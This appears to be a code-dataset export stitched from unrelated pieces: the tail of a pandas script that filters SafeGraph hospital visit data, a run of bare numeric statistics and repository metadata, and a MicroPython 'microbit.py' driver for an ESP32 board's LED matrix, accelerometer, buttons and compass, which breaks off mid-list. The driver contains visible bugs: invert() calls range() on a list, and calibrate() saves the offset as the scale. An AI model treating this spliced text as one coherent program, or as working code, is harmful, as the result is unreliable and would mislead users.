'/Volumes/LaCie/cg-data/Pattern_3/patterns/2020/12/04/04/',
'/Volumes/LaCie/cg-data/Pattern_3/patterns/2021/01/06/10/',
'/Volumes/LaCie/cg-data/Pattern_3/patterns/2021/02/04/06/']
months = ['2020-05','2020-06','2020-07','2020-08','2020-09','2020-10','2020-11','2020-12',
'2021-01']
i = 0
for directory in directories:
start_time_month = time.time()
temp = pd.DataFrame()
month = months[i]
for files in list_files:
temp_df = pd.read_csv(directory+files,
usecols = ['safegraph_place_id','raw_visit_counts'],
compression = 'gzip')
temp = pd.concat([temp, temp_df], axis = 0, ignore_index=True)
df = df.merge(temp, how = 'left', on = 'safegraph_place_id')
df.rename(columns = {'raw_visit_counts':month}, inplace = True)
i += 1
print("Done", month)
print("%f seconds" % (time.time() - start_time_month))
df.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/temp/temp2.pickle.gz',
compression = 'gzip')
df = pd.read_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/temp/temp2.pickle.gz')
poi = pd.read_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/POI.pickle')
hospital = poi.loc[poi.top_category == 'General Medical and Surgical Hospitals',:]
hospital = hospital.merge(df, how = 'left', on = 'safegraph_place_id')
hospital.loc[:,'2018'] = hospital.iloc[:,20-12:20].sum(axis = 1)
hospital.loc[:,'2019'] = hospital.iloc[:,20:20+12].sum(axis = 1)
hospital.loc[:,'2020'] = hospital.iloc[:,20+12:20+12+12].sum(axis = 1)
hospital = hospital.loc[hospital.loc[:,'2018']>0,:]
hospital = hospital.loc[hospital.loc[:,'2019']>0,:]
hospital = hospital.loc[hospital.loc[:,'2019'] > 100,:]
hospital = hospital.loc[hospital.loc[:,'2018'] > 100,:]
hospital = hospital.loc[hospital.loc[:,'2019'] < hospital.loc[:,'2019'].quantile(.995),:]
hospital.to_pickle('/Users/yeabinmoon/Documents/JMP/data/SafeGraph/POI/selected_poi.pickle')
| 44.044776
| 100
| 0.626341
| 1,278
| 8,853
| 4.190923
| 0.118936
| 0.038088
| 0.04705
| 0.060493
| 0.792196
| 0.776139
| 0.751307
| 0.731889
| 0.696602
| 0.657207
| 0
| 0.058374
| 0.187281
| 8,853
| 200
| 101
| 44.265
| 0.686032
| 0.016153
| 0
| 0.565789
| 0
| 0.125
| 0.312414
| 0.207931
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.013158
| 0
| 0.013158
| 0.039474
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
b381c8c90bf6cc50f55fba4563ec39264b370f7c
| 34,710
|
py
|
Python
|
mpBuild/ESP32_BPI_bit/lib/microbit.py
|
devshop2019/mixlyTest
|
bb92771aca2d5d801510658a70a13f4b548a43aa
|
[
"Apache-2.0"
] | 1
|
2019-09-08T08:43:35.000Z
|
2019-09-08T08:43:35.000Z
|
mpBuild/ESP32_BPI_bit/lib/microbit.py
|
devshop2019/mixlyTest
|
bb92771aca2d5d801510658a70a13f4b548a43aa
|
[
"Apache-2.0"
] | null | null | null |
mpBuild/ESP32_BPI_bit/lib/microbit.py
|
devshop2019/mixlyTest
|
bb92771aca2d5d801510658a70a13f4b548a43aa
|
[
"Apache-2.0"
] | null | null | null |
from time import time, sleep_ms
from utime import sleep_ms as sleep
from machine import Pin, ADC, DAC
from neopixel import NeoPixel
def PixelPower(bool):
Pin(2, Pin.OUT).value(bool)
class Pixel(NeoPixel):
def __init__(self):
self.Min, self.Max, self.Sum = 0, 5, 25
NeoPixel.__init__(self, Pin(4), self.Sum, 3, 1)
def LoadXY(self, X, Y, RGB, isSoftWare = True):
if self.Min <= X and X < self.Max and self.Min <= Y and Y < self.Max:
if isSoftWare: # SoftWare coordinate system
self[int(Y) + ((self.Max - 1) - int(X)) * self.Max] = RGB # left and top is (0, 0)
else: # Hardware coordinate system
self[(int(X)) + int(Y) * self.Max] = RGB # right and top is (0, 0)
else:
pass
# print('Pixel Load Over Limit')
def LoadPos(self, Pos, RGB):
if self.Min <= Pos and Pos < self.Sum:
self[Pos] = RGB
else:
pass
# print('Pixel Load Over Limit')
def Show(self):
self.write()
class Accelerometer:
def __init__(self, sensor):
self.sensor = sensor
self.old, self.new, self.eliminate = [0]*3, [0]*3, 2
def get_x(self):
return self.sensor.acceleration[0] * 5
def get_y(self):
return self.sensor.acceleration[1] * 5
def get_z(self):
return self.sensor.acceleration[2] * 5
def get_values(self):
self.old = self.new
self.new = self.sensor.acceleration
return self.new
def get_state(self):
tmp = [0]*3
for i in range(3):
tmp[i] = self.new[i] - self.old[i]
tmp[i] = 0 if abs(tmp[i]) < self.eliminate else tmp[i]
return tmp
class Direction(Accelerometer):
idle, ing, end, = 0, 1, 2
def __init__(self, sensor):
Accelerometer.__init__(self, sensor)
self.r_state, self.l_state, self.f_state, self.b_state, = Direction.idle, Direction.idle, Direction.idle, Direction.idle
def get_direction(self, delay=30):
sleep_ms(delay)
super().get_values()
tem = super().get_state()
x_state, y_state, z_state = tem[0], tem[1], tem[2]
result = []
if self.r_state == Direction.idle and x_state > 0 and self.new[0] > 2.5:
self.r_count = 0
self.r_state = Direction.ing
if self.r_state == Direction.ing:
# print('Direction.ing')
self.r_count += 1
if self.r_count > 10:
self.r_state = Direction.idle
elif x_state < 0 and self.old[0] > 2.5:
self.r_state = Direction.end
if self.r_state == Direction.end:
# print('Direction.end')
self.r_count += 1
if self.r_count > 20:
self.r_state = Direction.idle
elif x_state > 0 and self.old[0] < -2.5:
result.append('right')
self.r_state = Direction.idle
if self.l_state == Direction.idle and x_state < 0 and self.new[0] < -2.5:
self.l_count = 0
self.l_state = Direction.ing
if self.l_state == Direction.ing:
# print('Direction.ing')
self.l_count += 1
if self.l_count > 10:
self.l_state = Direction.idle
elif x_state > 0 and self.old[0] < -2.5:
self.l_state = Direction.end
if self.l_state == Direction.end:
# print('Direction.end')
self.l_count += 1
if self.l_count > 20:
self.l_state = Direction.idle
elif x_state < 0 and self.old[0] > 2.5:
result.append('left')
self.l_state = Direction.idle
if self.f_state == Direction.idle and y_state > 0 and self.new[1] > 2.5:
self.f_count = 0
self.f_state = Direction.ing
if self.f_state == Direction.ing:
# print('Direction.ing')
self.f_count += 1
if self.f_count > 10:
self.f_state = Direction.idle
elif y_state < 0 and self.old[1] > 2.5:
self.f_state = Direction.end
if self.f_state == Direction.end:
# print('Direction.end')
self.f_count += 1
if self.f_count > 20:
self.f_state = Direction.idle
elif y_state > 0 and self.old[1] < -2.5:
result.append('forward')
self.f_state = Direction.idle
if self.b_state == Direction.idle and y_state < 0 and self.new[1] < -2.5:
self.b_count = 0
self.b_state = Direction.ing
if self.b_state == Direction.ing:
# print('Direction.ing')
self.b_count += 1
if self.b_count > 10:
self.b_state = Direction.idle
elif y_state > 0 and self.old[1] < -2.5:
self.b_state = Direction.end
if self.b_state == Direction.end:
# print('Direction.end')
self.b_count += 1
if self.b_count > 20:
self.b_state = Direction.idle
elif y_state < 0 and self.old[1] > 2.5:
result.append('backwards')
self.b_state = Direction.idle
return None if len(result) != 1 else result[0]
def was_gesture(self, gesture="shake"):
print("was_gesture will be supported in the future.")
def is_gesture(self, gesture="shake"):
print("is_gesture will be supported in the future.")
def get_gestures(self):
print("get_gestures will be supported in the future.")
def current_gesture(self):
print("current_gesture will be supported in the future.")
class Button:
def __init__(self, pin_id):
from machine import Pin
self.pin = Pin(pin_id, Pin.IN)
self.irq = self.pin.irq(trigger=Pin.IRQ_FALLING, handler=self.__irq_sc)
self.presses = 0
def __irq_sc(self, p):
# print(self, p)
self.presses += 1
def close(self):
self.irq.trigger(0)
def reset(self):
self.presses = 0
def get_presses(self):
return self.presses
def is_pressed(self):
return self.pin.value() == 0
def was_pressed(self):
return self.presses != 0
class Compass:
RAD_TO_DEG = 57.295779513082320876798154814105
def __init__(self, sensor):
self.sensor = sensor
def get_x(self):
return self.sensor.magnetic[0]
def get_y(self):
return self.sensor.magnetic[1]
def get_z(self):
return self.sensor.magnetic[2]
def get_field_strength(self):
return self.sensor.magnetic
def heading(self):
from math import atan2
xyz = self.sensor.magnetic
return int(((atan2(xyz[1], xyz[0]) * Compass.RAD_TO_DEG) + 180) % 360)
def calibrate(self):
if self.is_calibrate() is False:
print('The calibration need to shaking in the air (e.g. 8 or 0) and waiting for a moment')
self.sensor.ak8963.calibrate()
with open("compass_cfg.py", "w") as f:
f.write('\n_offset = ' + str(self.sensor.ak8963._offset) + '\n_scale = ' + str(self.sensor.ak8963._offset))
else:
print('The calibration configuration already exists. If you need to recalibrate, enter os.remove("compass_cfg.py") in repl and restart')
try:
import compass_cfg
self.sensor.ak8963._offset = compass_cfg._offset
self.sensor.ak8963._scale = compass_cfg._scale
except Exception as e:
print('compass_cfg error! delete it, please.')
def is_calibrate(self):
try:
import compass_cfg
return True
except Exception as e:
return False
PixelPower(True)
CharData = {
'!': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
'"': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0],
'#': [0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0],
'$': [0, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0],
'%': [1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1],
'&': [0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0],
"'": [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0],
'(': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0],
'@': [0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0],
')': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0],
'*': [0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0],
'+': [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0],
',': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0],
'-': [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0],
'.': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
'/': [1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1],
'0': [0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0],
'1': [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0],
'2': [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1],
'3': [0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0],
'4': [0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0],
'5': [1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1],
'6': [0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0],
'7': [1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1],
'8': [0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0],
'9': [0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0],
':': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0],
';': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0],
'<': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0],
'=': [0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0],
'>': [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0],
'?': [0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0],
'A': [0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1],
'B': [0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1],
'C': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0],
'D': [0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1],
'E': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1],
'F': [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1],
'G': [0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0],
'H': [0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1],
'I': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1],
'J': [1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0],
'K': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1],
'L': [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1],
'M': [1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1],
'N': [1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1],
'O': [0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0],
'P': [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1],
'Q': [0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0],
'R': [0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1],
'S': [0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1],
'T': [1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0],
'U': [0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0],
'V': [1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0],
'W': [1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1],
'X': [0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1],
'Y': [1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0],
'Z': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1],
'[': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0],
"\\": [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0],
']': [0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0],
'^': [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0],
'_': [0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1],
'`': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0],
'a': [0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0],
'b': [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1],
'c': [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0],
'd': [0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0],
'e': [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0],
'f': [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0],
'g': [0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0],
'h': [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1],
'i': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0],
'j': [0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0],
'k': [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1],
'l': [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0],
'm': [0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1],
'n': [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1],
'o': [0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0],
'p': [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1],
'q': [0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0],
'r': [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1],
's': [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1],
't': [0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0],
'u': [0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0],
'v': [0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0],
'w': [0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1],
'x': [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1],
'y': [0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1],
'z': [0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1],
'{': [0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0],
'|': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0],
'}': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1],
'~': [0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0],
' ': [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
}
black = [0, 0, 0]
Red = [2, 0, 0]
Orange = [2, 1, 0]
Yellow = [2, 2, 0]
Green = [0, 2, 0]
Blue = [0, 0, 2]
Indigo = [0, 2, 2]
Purple = [2, 0, 2]
Zero = [black] * 5
class Image:
def __init__(self, str):
self.tem = [0] * 25
self.seq = [20, 15, 10, 5, 0, 21, 16, 11, 6, 1, 22, 17,
12, 7, 2, 23, 18, 13, 8, 3, 24, 19, 14, 9, 4]
self.num = 0
it = iter(self.seq)
for val in str:
if val != ':':
self.tem[next(it)] = int(val)
def __iter__(self):
self.num = 0
return self # 实例本身就是迭代对象,故返回自己
def __next__(self):
value = self.tem[self.num]
self.num += 1
return value # 返回下一个值
def copy(self):
print("copy will be supported in the future.")
def invert(self):
for i in range(self.tem):
self.tem[i] = 0 if self.tem[i] != 0 else 1
return self
HEART = [0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1,
1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0]
HEART_SMALL = [0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0,
0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0]
HAPPY = [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0,
0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0]
SMILE = [0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0,
0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0]
SAD = [0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0,
0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1]
CONFUSED = [0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0,
0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1]
ANGRY = [1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0,
0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1]
ASLEEP = [0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0,
0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0]
SURPRISED = [0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0,
0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0]
SILLY = [1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 0,
1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0]
FABULOUS = [1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1,
0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0]
MEH = [0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0,
0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0]
YES = [0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0,
0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0]
NO = [1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0,
1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 0, 1]
CLOCK12 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1,
1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
CLOCK11 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0]
CLOCK10 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0]
CLOCK9 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0]
CLOCK8 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0]
CLOCK7 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0]
CLOCK6 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
CLOCK5 = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0,
0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
CLOCK4 = [0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0,
0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
CLOCK3 = [0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0,
0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
CLOCK2 = [0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0,
0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
CLOCK1 = [0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0,
0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
ARROW_N = [0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1,
1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0]
ARROW_NE = [1, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1,
0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1]
ARROW_E = [0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1,
0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0]
ARROW_SE = [0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0,
